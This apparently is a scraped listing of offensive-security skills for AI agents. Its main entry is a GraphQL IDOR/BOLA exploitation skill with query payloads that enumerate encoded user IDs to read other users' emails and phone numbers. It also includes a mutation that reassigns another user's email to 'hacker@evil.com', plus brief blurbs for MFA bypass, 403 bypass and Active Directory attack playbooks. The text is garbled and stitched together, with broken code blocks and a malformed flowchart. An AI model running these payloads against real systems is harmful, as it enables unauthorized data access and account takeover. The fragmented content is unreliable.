Identify and exploit Insecure Direct Object Reference (IDOR) or Broken Object Level Authorization (BOLA) vulnerabilities specifically within GraphQL APIs. This skill focuses on manipulating node IDs, changing variables, and utilizing aliases to access unauthorized data.
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# Concept: ```
### Phase 2: Intercepting & Modifying Queries
```graphql
# query getUser {
user(id: "VXNlcjoxNTA=") {
id
email
personalPhone
}
}
# query getUser {
user(id: "VXNlcjoxNTE=") {
id
email
personalPhone
}
}
# mutation {
updateUserProfile(input: {
userId: "VXNlcjoxNTE=",
email: "hacker@evil.com"
}) {
success
}
}
# query {
user1: user(id: "1") { email }
user2: user(id: "2") { email }
user3: user(id: "3") { email }
}
flowchart TD
A[Identify Node ] --> B{Node ID modified ]}
B -->|Yes| C[Check Response ]
B -->|No| D[Check Context ]
C --> E[Verify Data ]
Graphql Idor — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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概要と使いどころ
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
日本語の概要は準備中です。原文の説明を表示しています。
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
日本語の概要は準備中です。原文の説明を表示しています。
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
日本語の概要は準備中です。原文の説明を表示しています。
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
日本語の概要は準備中です。原文の説明を表示しています。
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
日本語の概要は準備中です。原文の説明を表示しています。
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
日本語の概要は準備中です。原文の説明を表示しています。